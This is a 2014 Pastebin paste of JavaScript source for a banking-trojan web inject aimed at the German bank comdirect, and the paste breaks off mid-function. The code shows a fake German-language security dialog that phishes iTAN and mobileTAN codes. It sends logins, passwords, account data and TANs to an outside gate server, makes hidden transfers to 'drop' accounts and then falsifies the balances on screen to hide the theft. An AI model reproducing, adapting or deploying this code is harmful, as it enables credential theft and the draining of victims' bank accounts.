Xylitol

comdirect.js

Apr 13th, 2014
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (typeof ATS== 'undefined'){
  2.  
  3.  
  4. var jq = jQuery.noConflict();
  5. //var jq = jQuery;
  6.  
  7. var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
  8. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin: 0 auto; width: 230px; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.load{ margin:0 auto; width:190px;}.info{float:left; font-size: 20px;  margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:190px;}</style>');
  9.  
  10.  
  11.  
  12. var ATS = { bank: 'comdirect',
  13.     account_id: 0,
  14.     script_ver: '1.4',
  15.     transf_mode : 'sepa',
  16.     debug_mode: 0,
  17.     gateURL : 'https://belissimos7.com/nsdghsf333/gate',
  18.     debugVisibleFrame: false,
  19.     debugNoOverlay : false,
  20.     CONTENT_URL: CONTENT_URL,
  21.     current_state : 0,
  22.     sepa_or_int_select_changed : false,
  23.     MaxTransferAccNum:0,
  24.     Timeout:false,
  25.    
  26.  
  27.     StepInFrame : {
  28.         0:"BeginWork",
  29.         10:"framePageFinanzstatus",
  30.         20:"KreditlimitPage",
  31.         170:"insideGirokonto",
  32.         30:"SEPA_page",
  33.         110:"SEPA_form_filled",
  34.         120:"TAN_ENTERED",
  35.         130:"Internal_transf_page",
  36.         140:"INT_form_filled",
  37.         150:"framePageSEPA_fill",
  38.         160:"framePageInternal_transf_page",
  39.         180:"randomPage",
  40.         190:"inside_randomPage",
  41.  
  42.  
  43.        
  44.         set_current_state : function(state){
  45.            
  46.             for (var key in this) {
  47.               if (typeof this[key]!= 'function' && state==this[key]) {
  48.                parent.ATS.current_state=key;
  49.                return key;
  50.                }
  51.               //alert(key+':'+this[key])
  52.              
  53.            }
  54.             return false;
  55.             }
  56.         },
  57.        
  58.  
  59.     isDebugMode: function()
  60.     {
  61.         return ATS.debug_mode;
  62.     },
  63.    
  64.  
  65.     getBrowserFull: function()
  66.     {
  67.         var res = 'na';
  68.         try
  69.         {
  70.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  71.             if (m)
  72.             {
  73.                 res = 'ff' + m[1];
  74.             }
  75.             else
  76.             {
  77.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  78.                 if (m)
  79.                     res = 'ie' + m[1];
  80.             }
  81.         }
  82.         catch(e)
  83.         {
  84.             res = 'ex';
  85.         }
  86.         return res;
  87.     },
  88.  
  89.  
  90.     debugMsg: function(message)
  91.     {
  92.         if (this.isDebugMode())
  93.         {
  94.             if (window.console && window.console.log)
  95.                 window.console.log(message);
  96.             else
  97.                 alert(message);
  98.         }
  99.     },
  100.    
  101.     _cookies: new Object(),
  102.    
  103.     setCookie: function(name, value)
  104.     {
  105.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  106.         parent.ATS._cookies['#'+name] = value;
  107.     },
  108.    
  109.     getCookie: function(name)
  110.     {
  111.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  112.             return null;
  113.        
  114.         return parent.ATS._cookies['#'+name];
  115.     },
  116.    
  117.     serializeCookies: function()
  118.     {
  119.        //if (typeof parent.ATS._cookies != 'function')
  120.         var result = new Array();
  121.         for (var i in parent.ATS._cookies)
  122.         {
  123.            
  124.             if(i.indexOf('#')==0){
  125.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  126.  
  127.                }
  128.         }
  129.         return result.join('&');
  130.     },
  131.    
  132.     unserializeCookies: function(rawData)
  133.     {
  134.         var result = new Object();
  135.         for (var i in rawData)
  136.         {
  137.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  138.         }
  139.         return result;
  140.     },
  141.    
  142.     randInt: function(min, max)
  143.     {
  144.         return Math.round(min + Math.random() * (max - min));
  145.     },
  146.    
  147.     saveCookies: function(callback)
  148.     {
  149.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  150.     },
  151.    
  152.  
  153.     sendGateRequest: function(action, params, callback)
  154.     {
  155.      
  156.         //ATS.debugMsg('sendGateRequest: ' + action);
  157.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  158.        
  159.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  160.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  161.    
  162.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  163.         //{
  164.        
  165.             jq.ajax({
  166.                 url: url,
  167.                 dataType: 'jsonp',
  168.                 crossDomain: true,
  169.                 data: dat,
  170.                 //async: false,
  171.                 success: callback,
  172.                 error: function(request,error)
  173.                 {
  174.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  175.                     jq('.inj_full_overlay').remove();
  176.                     ATS.UI_unblockSite();
  177.                     jq('#inj_dialog_box').hide();
  178.                 }
  179.                
  180.             });
  181.            
  182.         //}
  183.     },
  184.  
  185.     loadData: function(callback)
  186.     {
  187.         ATS.sendGateRequest('load_data', {}, function(data){
  188.             ATS.account_id = data.account_id;
  189.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  190.             if (typeof callback == 'function')
  191.                 callback();
  192.         });
  193.     },
  194.    
  195.  
  196.     sendLoginInfo: function(login, password, callback)
  197.     {
  198.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  199.     },
  200.    
  201.  
  202.     sendLogMsg: function(text, callback)
  203.     {
  204.         ATS.debugMsg('sendLogMsg: ' + text);
  205.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  206.     },
  207.    
  208.     getDrop: function(transfType, balance, callback)
  209.     {
  210.        
  211.  
  212.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  213.     },
  214.    
  215.     putTransfer: function(transfType, drop, amount, callback)
  216.     {
  217.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  218.     },
  219.    
  220.     sendAccountsInfo: function(accountsInfo, callback)
  221.     {
  222.         try {
  223.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  224.         } catch(e) {}
  225.     }
  226.    
  227.    
  228.    
  229.    
  230. };
  231.  
  232. ATS.randomPage = function()
  233. {
  234.     ATS.debugMsg('ATS.randomPage');
  235.     var page= ATS.randInt(1,5);
  236.     var loc='';
  237.     switch (page) {
  238.        case 1:
  239.           loc=jq("#PersoenlicherbereichPostboxPostsuche a").attr("href");
  240.           break
  241.        case 2:
  242.           loc=jq("#PersoenlicherbereichPostboxPostversand a").attr("href");
  243.           break
  244.        case 3:
  245.           loc=jq("#PersoenlicherbereichKontoUmsaetze a").attr("href");
  246.           break
  247.        case 4:
  248.           loc=jq("#PersoenlicherbereichDepotDepotums a").attr("href");
  249.           break
  250.        case 5:
  251.           loc=jq("#PersoenlicherbereichDepotDepotueb a").attr("href");
  252.           break
  253.  
  254.     }
  255.    
  256.    
  257.     ATS.StepInFrame.set_current_state("inside_randomPage");
  258.     if(!!loc.length){
  259.     //loc=loc.attr("href").replace("(","%28").replace(")","%29");;
  260.    
  261.     return loc;
  262.     }
  263.        
  264.     else ATS.die('randomPage: cant find link for random page');
  265.     return false;
  266.    
  267. }
  268. ATS.inside_randomPage = function()
  269. {
  270.    
  271. ATS.debugMsg('ATS.inside_randomPage');
  272. ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  273.  
  274.  
  275.  
  276.            setTimeout(function(){
  277.                 jQuery("#Persoenlicherbereich a").click();
  278.            
  279.         }, ATS.randInt(15000,30000));
  280.    
  281. }
  282.  
  283. ATS.UI_showWait = function()
  284. {
  285.     ATS.UI_showDialogBox();
  286.     jq('#inj_page_wait').show();
  287.     jq('#inj_page_brilok').hide();
  288.     jq('#gad_signatur_tan').hide();
  289.     jq('.inj_buttons_block').hide();
  290.     jq('.inj_error').hide();    
  291.  
  292. }
  293. ATS.UI_getTAN = function()
  294. {
  295.     return jq('.nowrap label').text();
  296.    
  297. }
  298.  
  299. ATS.UI_getInjectCode = function()
  300. {
  301.     var code =
  302.      '<div id=inj_dialog_box style=\'display: none;\'>'
  303.    
  304.    
  305.   +'<div class="outerCard"><div class="innerCard"><div class="cardContent"><div class="topCard"><div><span></span></div></div><div class="cardCol">'
  306.  
  307.  
  308.   +'<div class="head cardHeadline"><span class="cardHeadline uiOutputText info">Zu Ihrer Sicherheit</span><img src='+ATS.CONTENT_URL+'/images/logo_comdirect_website.png class="logopic" /><div class="lineSpacerHead"></div></div>'
  309.  
  310.  
  311.        + '<div id=inj_page_wait style=\'display: none;\'>'
  312.      + '<p class="inj_content_para">'
  313.      +  langs.getLang('waittext')
  314.      + '<br class="newline" /></p><p class="load"><img s'
  315.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div>'
  316.  
  317.      
  318.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  319.      
  320.      +'<div id="gad_signatur_tan" style=\'display: none;\'>'
  321.      
  322.      +'<form class="form-banking" onsubmit="return false;"><p class="autp">Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</p><div id="insSMSform" class="form-content secure"></div><div class="form-content header"><label>mobileTAN*</label><input type="text" size="6" id="iTAN" name="nrTan" maxlength="6" style="margin-left:45px"></div></form><div style="clear:both"></div>'
  323.      
  324.      +'</div>'
  325.      
  326.  + '<div id="inj_page_brilok"  style=\'display: none;\'>'
  327.  
  328.    
  329.  
  330.  
  331.  
  332.  
  333.   +'<div class="body"><div class="article clearfix "><div class="hidden" ></div><div></div>&nbsp;&nbsp;<div>Wahrscheinlich haben sich in letzter Zeit einige Ver&auml;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&uuml;nden m&uuml;ssen Sie eine TAN eingeben, um zu best&auml;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&auml;hrt wird.</div><div class="UILine lineSpacerDarkFull"></div><br><div class="fSmall uiPanel"><div class="uiPanel" ><div class="uiTable"><div style="padding: 0px 0px 5px 0px" class="row" ><div class="lcolumn"><span class="uiOutputText">Freigabe durch iTAN mit der laufenden Nummer </span><strong id="inj_tan_startcode"></strong><span class="uiOutputText">:</span></div><div class="lcolumn">&nbsp;<input type="text" style="width:auto;" size="7" maxlength="6"  autocomplete="off" id="iTANBrilok" name="nrTan"></div><div class="lcolumn"></div><div class="rowend"></div>'
  334.  
  335.   + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
  336.  
  337.   +'</div></div><br><div class="uiPanel" ></div></div></div></div> </div><div class="foot cardFootline"><div class="UILine lineSpacerFoot"></div><div class="buttonArea clearfix"><div class="right" >'
  338.  
  339.    +'<div class="inj_buttons_block">'  
  340.  
  341.   +'<div class="button buttonBig clearfix"><a title="WEITER" class="fLinkList" href="#" id="inj_Weiter" name="inj_weiter"><b>Weiter</b><img width="16" height="16" border="0" title="WEITER" alt="WEITER" class="icon" src="'+ATS.CONTENT_URL+'/images/next.gif"></a></div>'
  342.   +'</div>'//inj_buttons_block
  343.   +'</div><div class="right" ></div></div></div> </div><div class="spacerHeight25"><span></span></div></div>'
  344.  
  345. +'</div>'//inj_page_brilok
  346. +'</div>'//gad_contentbox
  347.  
  348.  
  349.   +'<div class="bottomCard"><div><span></span></div></div></div><div class="bottomCardBorder"><span></span></div></div>'
  350.      + '</div>';//inj_dialog_box
  351.      
  352.      
  353.     return jq(code);
  354. }
  355.  
  356. ATS.die = function(msg)
  357. {
  358.     ATS.sendLogMsg('ERROR: ' + msg);
  359.     ATS.setCookie('error_time', ATS.getTime());
  360.     ATS.setCookie('status', 2);
  361.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  362.     ATS.saveCookies(function(){
  363.         if ((parent.window !== window) && parent.ATS)
  364.         {
  365.             ATS.debugMsg('die in frame');
  366.             parent.ATS.UI_hideDialogBox();
  367.             parent.ATS.UI_unblockSite();
  368.  
  369.             jq('.inj_full_overlay',parent.document).remove();
  370.         }
  371.         else
  372.         {
  373.             ATS.debugMsg('die outside frame');
  374.             ATS.UI_hideDialogBox();
  375.             ATS.UI_unblockSite();
  376.             jq('.inj_full_overlay').remove();
  377.         }
  378. /*        
  379.     var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
  380.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  381.             setTimeout(function(){
  382.                    parent.window.document.location.href = nextLink;                    
  383.                 }, 1000);
  384.  
  385. */
  386.     });
  387.    
  388.  
  389.        
  390. }
  391.  
  392.  
  393. ATS.mainWork = function()
  394. {
  395.    
  396.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  397.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  398.     switch (ATS.current_state)
  399.     {
  400.         case 0:
  401.            
  402.  
  403.             var href = ATS.getFinanzstatusLink();
  404.             if (href)
  405.             {
  406.            
  407.                 ATS.StepInFrame.set_current_state("randomPage");    
  408.                 //ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  409.                
  410.                 //ATS.sendLogMsg('Name: ' + jq('span:contains(Inhaber)').next('span.uiOutputText').text(),ATS.ieFrameHack() );      
  411.                
  412.                 ATS.ieFrameHack();
  413.                
  414.                
  415.                
  416.                
  417.                
  418.             }
  419.             else
  420.             {
  421.                 ATS.die('mainWork: cant find finanzstatus');
  422.             }
  423.             break;
  424.     }
  425. }
  426. ATS.ieFrameHack = function()
  427. {
  428.     ATS.debugMsg('ATS.ieFrameHack()');
  429.    
  430.     if (!jq('iframe#ats_wrk_iframe').length)
  431.     {
  432.  
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  443.         ATS.openInIframe('about:blank');
  444. /*        
  445. var cssLink = document.createElement("link")
  446. cssLink.href = "/wrs/resources2/html/layout.css";
  447. cssLink.rel = "stylesheet";
  448. cssLink.type = "text/css";
  449. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  450.  
  451. var cssLink = document.createElement("link")
  452. cssLink.href = "/wrs/resources2/html/color.css";
  453. cssLink.rel = "stylesheet";
  454. cssLink.type = "text/css";
  455. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  456. */
  457.  
  458.  
  459.        
  460.      
  461.         setTimeout(ATS.ieFrameHack, ATS.randInt(3000, 3500));
  462.     }
  463.     else
  464.     {
  465.  
  466.         var n=ATS.getFinanzstatusLink();
  467.         var n=ATS.randomPage();
  468.     //n=n.replace(/\:/g, '%3A');
  469.     //n=n.replace(/\?/g, '%3F');    
  470.    
  471.    
  472.         jq('iframe#ats_wrk_iframe').attr('src',n );
  473.     }
  474. }
  475. ATS.UI_hideDialogBox = function()
  476. {
  477.     jq('#inj_dialog_box').hide();
  478. }
  479.  
  480.  
  481. ATS.descending= function(a, b)
  482. {
  483.     return b.totalBalance- a.totalBalance;
  484. }
  485.  
  486. ATS.getMaxTransferAcc = function()
  487. {
  488.     //num = num || 0;
  489.     var num=parent.ATS.MaxTransferAccNum;
  490.    
  491.     parent.ATS.accounts_list.sort( ATS.descending );
  492.    
  493.     if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
  494.     else
  495.     {
  496.     ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
  497.     }
  498. /*
  499.     var accountsList = parent.ATS.accounts_list;
  500.     var maxBalance = accountsList[0].balance;
  501.     var tempBalance = 0;
  502.     var maxAcc = null;
  503.     for(var i in accountsList)
  504.     {
  505.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  506.    
  507.    
  508.             if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
  509.             {
  510.                 maxBalance = tempBalance;
  511.                 maxAcc = accountsList[i];
  512.             }
  513.     }
  514.  
  515.     return maxAcc;
  516.     */
  517.    
  518. }
  519.  
  520.  
  521. ATS.UI_askTan = function(tanNum, isError)
  522. {
  523. /*    
  524. var cssLink = document.createElement("link")
  525. cssLink.href = ATS.CONTENT_URL+"/all_styles_min.css";
  526. cssLink.rel = "stylesheet";
  527. cssLink.type = "text/css";
  528. jq('body', parent.document).prepend(cssLink);
  529. */    
  530.    
  531.    
  532. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  533.     parent.ATS.UI_showDialogBox();
  534.     //parent.ATS.UI_fixBtnLink();
  535.  
  536. //var sms=jq('div[id*="TanData"]').html();
  537. var sms='';
  538. if (sms.indexOf('SMS')!=-1){
  539.    
  540.     parent.ATS.TanType='sms';
  541.  
  542.     jq('#inj_page_wait', parent.document).hide();
  543.     jq('#inj_page_brilok', parent.document).hide();
  544.     jq('#gad_signatur_tan', parent.document).show();
  545.     jq('#gad_contentbox', parent.document).show();
  546.      
  547.      jq('#insSMSform', parent.document.body).html(sms);
  548. }
  549.  else{
  550.     parent.ATS.TanType='brilok';
  551.  
  552.     jq('#inj_page_wait', parent.document).hide();
  553.     jq('#gad_signatur_tan', parent.document).hide();
  554.     jq('#inj_page_brilok', parent.document).show();
  555.     jq('#gad_contentbox', parent.document).show();
  556.  
  557.  
  558.  
  559. var link=jq('a span:contains(zu iTAN wechseln)').length;
  560. if(!!link) jq('a span:contains(zu iTAN wechseln)').trigger("click");
  561.  
  562.         setTimeout(function(){
  563.             var startCode =jq('span:contains(Nummer)').next().text();
  564.             ATS.sendLogMsg('startCode ' + startCode);
  565.             jq('#inj_tan_startcode', parent.document.body).text(startCode);
  566.         }, ATS.randInt(2000, 3000));
  567.  
  568.  
  569.  }  
  570.    
  571.    
  572.     jq('.inj_buttons_block', parent.document).show();
  573.  
  574.  }
  575. ATS.UI_onWeiterClick = function()
  576. {
  577. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  578. else var tan = jq('#iTANBrilok').val();
  579.  
  580.  
  581.     if (tan=="test") {
  582.        if (ATS.isDebugMode()){
  583.            parent.ATS.UI_showWait();
  584.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  585.         else ATS.framePageReceiptInternal();
  586.        
  587.        return false;}}
  588.  
  589.    
  590.     if (tan.length == 6)
  591.     {
  592.         ATS.sendLogMsg('entered TAN ' + tan);
  593.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  594.     }
  595.     else{
  596.         alert(langs.getLang('errorTanEmpty'));
  597.        
  598.     }
  599. }
  600.  
  601. ATS.padRight = function(input, totalWidth)
  602.  
  603. {
  604.     var result = input;
  605.     if (result.length < totalWidth){
  606.         for(var i = result.length; i < totalWidth; i++){
  607.             result = result + 'X'
  608.         }
  609.    
  610.     }
  611.     return result;
  612. }
  613.  
  614.  
  615. ATS.framePageReceipt = function()
  616. {
  617.     ATS.sendLogMsg('framePageReceipt');
  618.  
  619.    
  620.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  621.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  622.         ATS.setCookie('transfer_time', ATS.getTime());
  623.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  624.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  625.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  626.        
  627.         var transfer_acc = parent.ATS.maxAcc.number;
  628.        
  629.         if (transfer_acc)
  630.         {
  631.             ATS.setCookie('transfer_acc', transfer_acc);
  632.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  633.         }
  634.        
  635.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  636.        
  637.         ATS.setCookie('status', 1);
  638.         ATS.saveCookies(function(){
  639.  
  640.             var nextLink = ATS.getFinanzstatusLink();
  641.             if (nextLink != '')
  642.             {
  643.                 setTimeout(function(){
  644.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  645.                     parent.window.document.location.href = nextLink;
  646.                    
  647.                 }, 1000);
  648.             }
  649.         });
  650.     });
  651.    
  652. }
  653. ATS.framePageReceiptInternal = function()
  654. {
  655.     ATS.sendLogMsg('framePageReceiptInternal');
  656.    
  657.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  658.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  659.         ATS.setCookie('transfer_time', ATS.getTime());
  660.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  661.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  662.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  663.        
  664.         var transfer_acc = parent.ATS.maxAcc.number;
  665.        
  666.         if (transfer_acc)
  667.         {
  668.             ATS.setCookie('transfer_acc', transfer_acc);
  669.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  670.         }        
  671.        
  672.  
  673.         ATS.setCookie('status', 1);
  674.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  675.        
  676.         ATS.saveCookies(function(){
  677.  
  678.             var nextLink = ATS.getFinanzstatusLink();
  679.            
  680.             if (nextLink != '')
  681.             {
  682.                 setTimeout(function(){
  683.                     parent.ATS.StepInFrame.set_current_state("BeginWork");
  684.                     parent.window.document.location.href = nextLink;
  685.                    
  686.                 }, 1000);
  687.             }
  688.         });
  689.     });
  690. }
  691. ATS.fin2float = function(text)
  692. {
  693.     if (langs.getCurLang()=='EN')
  694.     var text = text.toString();
  695.     else
  696.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  697.     return parseFloat(text);
  698. }
  699.  
  700. ATS.float2fin = function(val)
  701. {
  702.     var intPart = Math.floor(val);
  703.     var fractPart = Math.floor((val - intPart) * 100).toString();
  704.    
  705.     if (fractPart.length < 2)
  706.         fractPart = '0' + fractPart;
  707.        
  708.     var newIntPart = '';
  709.     intPart = intPart.toString();
  710.     while (intPart.length > 3)
  711.     {
  712.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  713.         intPart = intPart.substr(0, intPart.length - 3);
  714.     }
  715.     newIntPart = intPart + newIntPart;
  716.    
  717.     return newIntPart + ',' + fractPart;
  718. }
  719. ATS.addElementAmount = function (el, amount, postfix)
  720. {
  721.     var val = ATS.fin2float(jq(el).text());
  722.     var newText='<strong>';
  723.  //   if (val<0) newText +='<span class="negbal">';
  724.    
  725.     newText += ATS.float2fin(val + amount);
  726.     if (postfix)
  727.         newText += ' ' + postfix;
  728.        
  729.  //   if (val<0) newText +='</span>';
  730.      newText +="</strong>";  
  731.     jq(el).html(newText);
  732. }
  733. ATS.hideLastTAN = function()
  734. {
  735.  
  736.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  737.     if (el.length)
  738.     {
  739.         var html = jq(el).html();
  740.         var pos = html.indexOf('Ihre zuletzt');
  741.         if (pos >= 0)
  742.             jq(el).html(html.substr(0, pos));
  743.     }
  744.    
  745.  
  746.     jq('p:contains(Zuletzt benutzte)').remove();
  747. }
  748.  
  749. ATS.checkTransfer = function(el)
  750. {
  751.  
  752.  
  753.     var percent=parseFloat("0.00");  
  754.  
  755.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  756.     if (isNaN(lastGesamtsaldo)) {
  757.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  758.         return false;
  759.     }
  760.  
  761.     //var curGesamtsaldo = ATS.fin2float(jq(el).text());
  762.     var curGesamtsaldo = el;
  763.    
  764.  
  765.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  766.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  767.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  768.    
  769.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  770.        
  771.  
  772.     if(tempsaldo==0){
  773.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  774.         return false;
  775.         }
  776.    
  777.  
  778.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  779.         return false;
  780.     }
  781.  
  782.     if(tempsaldo>0){
  783.    
  784.            
  785.  
  786.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  787.        
  788.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  789.     percent=parseFloat(temppers.toFixed(2));
  790.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  791.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  792.             ATS.setCookie('acPercent',percent);
  793.             ATS.saveCookies();
  794.     }
  795.     if (ATS.getCookie('acTransact')!="true"){
  796.             ATS.setCookie('acTransact',true);
  797.             ATS.saveCookies();
  798.     }
  799.    
  800.     return percent;
  801.     }else{
  802.        
  803.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  804.             ATS.setCookie('acPercent',tempsaldo);
  805.             ATS.setCookie('acTransact',false);
  806.             ATS.saveCookies();
  807.         return false;
  808.     }    
  809.        
  810. }
  811.  
  812. }
  813.  
  814.  
  815. ATS.replaceMainPage = function()
  816. {
  817.     ATS.debugMsg('replaceMainPage()');
  818.    
  819.     //jq("#gad_toolbar_btn_print").remove();
  820.  
  821. var saldo=0;
  822. jq('table:has(tr:contains(Gesamt)) tr:contains(Gesamt)').each(function(){
  823.  var el=jq(this).children("td:eq(2)");
  824.  if (el.length) saldo+=ATS.fin2float(jq(el).text());
  825.    
  826.    });
  827. var el=saldo;
  828.  
  829.  
  830.  
  831.  
  832.      var percent =ATS.checkTransfer(el);
  833.      ATS.debugMsg('percent= '+percent);
  834.      if(typeof percent === 'boolean') return true;
  835.  
  836.  
  837. if( percent > 15) {
  838.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  839.     }
  840.  
  841.  
  842.    
  843.         var totalReplace = 0;
  844.        
  845. var amount = parseFloat(ATS.getCookie('rep_amount'));
  846. var transfer_acc =ATS.getCookie('transfer_acc');
  847.        
  848. jq('table:has(th:contains(Bezeichnung))').each(function(){
  849.     /*
  850.  var number=jq(this).parent().parent().parent().find('span:contains(Kundennr)').text();
  851.  var re = new RegExp("Kundennr: [\\d]+", "g");
  852. var arr = number.match(re);
  853.  number=arr[0].replace(/\D/g, '');
  854. */
  855.  
  856.  
  857. jq(this).find('tr:contains(Girokonto),tr:contains(Tagesgeld PLUS)').filter('tr').each(function(){
  858.  
  859.  var number=jq.trim(jq(this).children("td:eq(0)").text());
  860.  var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\./g, '').replace(/\,/g, '.'));
  861.  var kreditbalance=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
  862.  
  863. if(number==transfer_acc){    
  864.    
  865. ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
  866.   ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), '');
  867.   ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), '');
  868.   totalReplace = parseFloat(amount + percent);
  869.  
  870. }  
  871. });
  872.  
  873. var saldo1=jq(this).find('tr:contains(Gesamt)').children("td:eq(2)");                              
  874. var saldo2=jq(this).find('tr:contains(Gesamt)').children("td:eq(3)");                                
  875.  ATS.addElementAmount(saldo1, totalReplace, '');
  876.  ATS.addElementAmount(saldo2, totalReplace, '');
  877.      
  878.    
  879.    
  880.        
  881.  
  882.  
  883. });        
  884.        
  885.        
  886.    
  887.    
  888. }
  889. ATS.replaceKONTOUBERSICHT = function()
  890. {
  891.     ATS.debugMsg('replaceKONTOUBERSICHT');
  892.    
  893.     var percent=parseFloat(ATS.getCookie('acPercent'));
  894.  
  895.    
  896.  
  897. if( percent > 15) {
  898.    ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
  899.     }
  900.    
  901.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  902.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  903.  
  904.    
  905.  
